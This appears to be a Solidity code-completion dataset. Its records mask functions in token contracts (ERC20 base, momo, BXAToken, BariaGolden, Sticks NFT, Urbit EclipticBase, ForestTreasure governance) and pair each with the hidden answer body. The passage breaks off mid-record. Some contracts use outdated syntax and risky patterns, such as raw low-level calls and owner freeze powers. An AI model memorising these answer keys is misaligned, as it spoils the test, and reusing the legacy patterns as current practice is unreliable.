/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } <FILL_FUNCTION> /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve( address owner, address spender, uint256 amount ) internal virtual
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual
65682
momo
momo
contract momo is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function momo () {<FILL_FUNCTION_BODY> } function() public payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract momo is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; <FILL_FUNCTION> function() public payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1000000000000000000000000; totalSupply = 1000000000000000000000000 ; name = "moon moon"; decimals = 18; symbol = "MOMO"; unitsOneEthCanBuy = 10000; fundsWallet = msg.sender;
function momo ()
function momo ()
7335
EclipticBase
upgrade
contract EclipticBase is Ownable, ReadsAzimuth { // Upgraded: _to is the new canonical Ecliptic // event Upgraded(address to); // polls: senate voting contract // Polls public polls; // previousEcliptic: address of the previous ecliptic this // instance expects to upgrade from, stored and // checked for to prevent unexpected upgrade paths // address public previousEcliptic; constructor( address _previous, Azimuth _azimuth, Polls _polls ) ReadsAzimuth(_azimuth) internal { previousEcliptic = _previous; polls = _polls; } // onUpgrade(): called by previous ecliptic when upgrading // // in future ecliptics, this might perform more logic than // just simple checks and verifications. // when overriding this, make sure to call this original as well. // function onUpgrade() external { // make sure this is the expected upgrade path, // and that we have gotten the ownership we require // require( msg.sender == previousEcliptic && this == azimuth.owner() && this == polls.owner() ); } // upgrade(): transfer ownership of the ecliptic data to the new // ecliptic contract, notify it, then self-destruct. // // Note: any eth that have somehow ended up in this contract // are also sent to the new ecliptic. // function upgrade(EclipticBase _new) internal {<FILL_FUNCTION_BODY> } }
contract EclipticBase is Ownable, ReadsAzimuth { // Upgraded: _to is the new canonical Ecliptic // event Upgraded(address to); // polls: senate voting contract // Polls public polls; // previousEcliptic: address of the previous ecliptic this // instance expects to upgrade from, stored and // checked for to prevent unexpected upgrade paths // address public previousEcliptic; constructor( address _previous, Azimuth _azimuth, Polls _polls ) ReadsAzimuth(_azimuth) internal { previousEcliptic = _previous; polls = _polls; } // onUpgrade(): called by previous ecliptic when upgrading // // in future ecliptics, this might perform more logic than // just simple checks and verifications. // when overriding this, make sure to call this original as well. // function onUpgrade() external { // make sure this is the expected upgrade path, // and that we have gotten the ownership we require // require( msg.sender == previousEcliptic && this == azimuth.owner() && this == polls.owner() ); } <FILL_FUNCTION> }
// transfer ownership of the data contracts // azimuth.transferOwnership(_new); polls.transferOwnership(_new); // trigger upgrade logic on the target contract // _new.onUpgrade(); // emit event and destroy this contract // emit Upgraded(_new); selfdestruct(_new);
function upgrade(EclipticBase _new) internal
// upgrade(): transfer ownership of the ecliptic data to the new // ecliptic contract, notify it, then self-destruct. // // Note: any eth that have somehow ended up in this contract // are also sent to the new ecliptic. // function upgrade(EclipticBase _new) internal
17421
BXAToken
_transfer
contract BXAToken is Migrations, ERC20Base { bool public isTokenLocked; bool public isUseFreeze; struct Frozen { bool from; uint256 amount; } mapping (address => Frozen) public frozenAccount; event FrozenFunds(address target, bool freezeFrom, uint256 freezeAmount); constructor() ERC20Base() onlyOwner() public { uint256 initialSupply = 20000000000; isUseFreeze = true; totalSupply = initialSupply.mul(1 ether); isTokenLocked = false; symbol = "BXA"; name = "BXA"; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier tokenLock() { require(isTokenLocked == false); _; } function setLockToken(bool _lock) onlyOwner public { isTokenLocked = _lock; } function setUseFreeze(bool _useOrNot) onlyAdmin public { isUseFreeze = _useOrNot; } function freezeFrom(address target, bool fromFreeze) onlyAdmin public { frozenAccount[target].from = fromFreeze; emit FrozenFunds(target, fromFreeze, 0); } function freezeAmount(address target, uint256 amountFreeze) onlyAdmin public { frozenAccount[target].amount = amountFreeze; emit FrozenFunds(target, false, amountFreeze); } function freezeAccount( address target, bool fromFreeze, uint256 amountFreeze ) onlyAdmin public { require(isUseFreeze); frozenAccount[target].from = fromFreeze; frozenAccount[target].amount = amountFreeze; emit FrozenFunds(target, fromFreeze, amountFreeze); } function isFrozen(address target) public view returns(bool, uint256) { return (frozenAccount[target].from, frozenAccount[target].amount); } function _transfer(address _from, address _to, uint256 _value) tokenLock internal returns(bool success) {<FILL_FUNCTION_BODY> } function totalBurn() public view returns(uint256) { return balanceOf[address(0)]; } }
contract BXAToken is Migrations, ERC20Base { bool public isTokenLocked; bool public isUseFreeze; struct Frozen { bool from; uint256 amount; } mapping (address => Frozen) public frozenAccount; event FrozenFunds(address target, bool freezeFrom, uint256 freezeAmount); constructor() ERC20Base() onlyOwner() public { uint256 initialSupply = 20000000000; isUseFreeze = true; totalSupply = initialSupply.mul(1 ether); isTokenLocked = false; symbol = "BXA"; name = "BXA"; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier tokenLock() { require(isTokenLocked == false); _; } function setLockToken(bool _lock) onlyOwner public { isTokenLocked = _lock; } function setUseFreeze(bool _useOrNot) onlyAdmin public { isUseFreeze = _useOrNot; } function freezeFrom(address target, bool fromFreeze) onlyAdmin public { frozenAccount[target].from = fromFreeze; emit FrozenFunds(target, fromFreeze, 0); } function freezeAmount(address target, uint256 amountFreeze) onlyAdmin public { frozenAccount[target].amount = amountFreeze; emit FrozenFunds(target, false, amountFreeze); } function freezeAccount( address target, bool fromFreeze, uint256 amountFreeze ) onlyAdmin public { require(isUseFreeze); frozenAccount[target].from = fromFreeze; frozenAccount[target].amount = amountFreeze; emit FrozenFunds(target, fromFreeze, amountFreeze); } function isFrozen(address target) public view returns(bool, uint256) { return (frozenAccount[target].from, frozenAccount[target].amount); } <FILL_FUNCTION> function totalBurn() public view returns(uint256) { return balanceOf[address(0)]; } }
require(balanceOf[_from] >= _value); if (balanceOf[_to].add(_value) <= balanceOf[_to]) { revert(); } if (isUseFreeze == true) { require(frozenAccount[_from].from == false); if(balanceOf[_from].sub(_value) < frozenAccount[_from].amount) { revert(); } } if (_to == address(0)) { require(msg.sender == owner); totalSupply = totalSupply.sub(_value); } balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); return true;
function _transfer(address _from, address _to, uint256 _value) tokenLock internal returns(bool success)
function _transfer(address _from, address _to, uint256 _value) tokenLock internal returns(bool success)
44264
Sticks
null
contract Sticks is ERC721Tradable { string baseURI; uint256 public MAX_SUPPLY = 1000; uint256 public basePrice = 1 * 1e17; bool public paused; constructor() ERC721Tradable("Sticks", "STICKS", address(0)) {<FILL_FUNCTION_BODY> } function mint() external payable { require(paused == false, "Mint isn't running"); uint256 newTokenId = _getNextTokenId(); require(msg.value == basePrice, "Incorrect ETH Amount"); require(newTokenId <= MAX_SUPPLY, "Sold out"); _incrementTokenId(); _mint(_msgSender(), newTokenId); payable(owner()).transfer(msg.value); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseTokenURI(), Strings.toString(tokenId))); } function setProxyRegistry(address proxyRegistryAddress_) external onlyOwner { proxyRegistryAddress = proxyRegistryAddress_; } function setPrice(uint256 basePrice_) external onlyOwner { basePrice = basePrice_; } function setBaseURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } function unpause() external onlyOwner { paused = false; } function baseTokenURI() public view override returns (string memory) { return _baseURI(); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function _msgSender() internal view virtual override returns (address sender) { return ContextMixin.msgSender(); } }
contract Sticks is ERC721Tradable { string baseURI; uint256 public MAX_SUPPLY = 1000; uint256 public basePrice = 1 * 1e17; bool public paused; <FILL_FUNCTION> function mint() external payable { require(paused == false, "Mint isn't running"); uint256 newTokenId = _getNextTokenId(); require(msg.value == basePrice, "Incorrect ETH Amount"); require(newTokenId <= MAX_SUPPLY, "Sold out"); _incrementTokenId(); _mint(_msgSender(), newTokenId); payable(owner()).transfer(msg.value); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseTokenURI(), Strings.toString(tokenId))); } function setProxyRegistry(address proxyRegistryAddress_) external onlyOwner { proxyRegistryAddress = proxyRegistryAddress_; } function setPrice(uint256 basePrice_) external onlyOwner { basePrice = basePrice_; } function setBaseURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } function unpause() external onlyOwner { paused = false; } function baseTokenURI() public view override returns (string memory) { return _baseURI(); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function _msgSender() internal view virtual override returns (address sender) { return ContextMixin.msgSender(); } }
baseURI = "https://www.sticksnft.io/json/"; proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; paused = true;
constructor() ERC721Tradable("Sticks", "STICKS", address(0))
constructor() ERC721Tradable("Sticks", "STICKS", address(0))
92306
BariaGolden
BariaGolden
contract BariaGolden is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BariaGolden() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract BariaGolden is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "BRG"; name = "Baria Golden"; decimals = 9; _totalSupply = 200000000000000000; balances[0x8385A634A8Ed3161f57b7Bbc00cE2Fea4D31BDc0] = _totalSupply; emit Transfer(address(0), 0x8385A634A8Ed3161f57b7Bbc00cE2Fea4D31BDc0, _totalSupply);
function BariaGolden() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BariaGolden() public
87886
ForestTreasure
getPriorVotes
contract ForestTreasure is ERC20("ForestTreasure", "FOREST"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (ForestGuard). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Forest::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Forest::delegateBySig: invalid nonce"); require(now <= expiry, "Forest::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {<FILL_FUNCTION_BODY> } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying Forests (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "Forest::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
contract ForestTreasure is ERC20("ForestTreasure", "FOREST"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (ForestGuard). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Forest::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Forest::delegateBySig: invalid nonce"); require(now <= expiry, "Forest::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } <FILL_FUNCTION> function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying Forests (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 